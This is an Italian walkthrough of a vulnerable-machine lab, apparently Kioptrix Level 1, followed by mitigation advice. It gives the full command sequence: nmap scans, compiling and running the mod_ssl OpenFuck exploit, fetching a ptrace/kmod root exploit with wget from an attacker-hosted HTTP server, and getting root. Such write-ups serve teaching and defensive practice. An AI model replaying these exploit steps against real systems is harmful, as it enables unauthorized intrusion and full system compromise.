
Accesso di livello root ottenuto identificando e sfruttando configurazioni errate e software obsoleto. Vulnerabilità di buffer overflow in una versione obsoleta di mod_ssl (CVE-2002-0082). L'escalation dei privilegi è stata successivamente ottenuta sfruttando una race condition nell'utility "ptrace" del kernel Linux (CVE-2003-0127),
Accesso di livello root ottenuto identificando e sfruttando configurazioni errate e software obsoleto. Vulnerabilità di buffer overflow in una versione obsoleta di mod_ssl (CVE-2002-0082). L'escalation dei privilegi è stata successivamente ottenuta sfruttando una condizione di race condition nell'utility "ptrace" del kernel Linux (CVE-2003-0127), Fase 1: Ricognizione e Enumerazione Il primo passo è stato identificare l'indirizzo IP del target sulla sottorete 192.168.56.0/24.
Scoperta dell'Host:
sudo nmap -sn 192.168.56.0/24
Risultato: Il target è stato identificato all'indirizzo 192.168.56.105.
Scansione delle Porte e Enumerazione dei Servizi: È stata eseguita una scansione Nmap completa per identificare porte aperte, servizi in esecuzione e dettagli del sistema operativo.
sudo nmap -sS -sV -O -p- -oA lab_full_scan1 192.168.56.105
Risultati Chiave:
Porte 80/tcp e 443/tcp: In esecuzione Apache httpd 1.3.20 con mod_ssl/2.8.4 e OpenSSL/0.9.6b.
Porta 22/tcp: In esecuzione OpenSSH 2.9p2.
Porta 139/tcp: In esecuzione Samba smbd.
Rilevamento Sistema Operativo: Linux Kernel 2.4.X (probabilmente 2.4.9 - 2.4.18).
La versione obsoleta di Apache e mod_ssl ha immediatamente presentato un vettore ad alta probabilità per l'accesso iniziale. Fase 2: Accesso Iniziale (Sfruttamento)
Exploit Database tramite searchsploit ha confermato che mod_ssl 2.8.4 è vulnerabile a un noto Remote Buffer Overflow.
searchsploit mod_ssl 2.8
Ho identificato l'exploit OpenFuckV2.c (EDB-ID: 47080) come il payload più affidabile per questa vulnerabilità. Ho rispecchiato l'exploit sull'host locale e l'ho compilato con le necessarie librerie crittografiche.
Compilazione dell'Exploit:
searchsploit -m 47080 gcc -o OpenFuck 47080.c -lcrypto
Eseguendo il binario compilato senza argomenti è stato fornito un elenco di offset supportati. Abbinando l'offset al sistema operativo specifico del target e alla versione di Apache (Red-Hat Linux, Apache 1.3.20), ho determinato che l'offset corretto era 0x6b.
Esecuzione:
./OpenFuck 0x6b 192.168.56.105 443 -c 40
L'exploit ha forzato con successo un buffer overflow, concedendo una shell con privilegi bassi come utente apache.
bash-2.05$ whoami apache
Fase 3: Escalation dei Privilegi
Nota sulla metodologia: L'exploit OpenFuck tenta di scaricare automaticamente un payload secondario di escalation dei privilegi (ptrace-kmod.c) da un server remoto usando wget. Tuttavia, poiché l'ambiente target non aveva accesso internet in uscita, questo passaggio automatico è fallito (risolvendo in Host non trovato). Sono passato all'enumerazione e allo sfruttamento manuali.
Enumerazione del Sistema:
bash-2.05$ uname -a Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
Il sistema eseguiva una versione del kernel altamente vulnerabile: 2.4.7-10. La ricerca di exploit che prendono di mira questo specifico kernel Linux ha rivelato una vulnerabilità di escalation locale dei privilegi utilizzando ptrace/kmod.
Preparazione del Payload: Ho localizzato l'exploit localmente (EDB-ID: 3) e l'ho ospitato tramite un server HTTP Python sulla macchina attaccante per facilitare il trasferimento.
Host Attaccante:
searchsploit -m 3 python3 -m http.server 8000
Macchina Target:
cd /tmp wget http://192.168.56.1:8000/3.c
Il codice sorgente 3.c è stato trasferito con successo nella directory /tmp del target, l'ho compilato ed eseguito nativamente sulla macchina target.
Esecuzione e Compromissione Root:
gcc 3.c -o exploit
./exploit
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
La race condition di ptrace è stata sfruttata con successo, escalando i privilegi dal demone apache a root. È stata ottenuta la compromissione totale del sistema.
Fase 4: Mitigazione Per mettere in sicurezza questo sistema contro le vulnerabilità sfruttate:
Aggiornamento dei Servizi Web: Il server Apache deve essere aggiornato alle ultime versioni stabili per correggere la vulnerabilità di buffer overflow CVE-2002-0082, che consente l'esecuzione remota di codice non autenticato.
Patch del Kernel: Il kernel Linux (2.4.7-10) è vulnerabile a molteplici exploit di escalation locale dei privilegi, inclusa la race condition ptrace (kmod). Il kernel del sistema operativo deve essere aggiornato a una versione moderna e supportata.
Segmentazione di Rete e Filtraggio in Uscita: Il server dovrebbe essere posizionato dietro un firewall che limiti il traffico in uscita non necessario. Mentre il wget automatico è fallito in questo laboratorio offline, il filtraggio in uscita impedirebbe alle applicazioni web compromesse di scaricare payload maliziosi secondari da internet in un ambiente reale.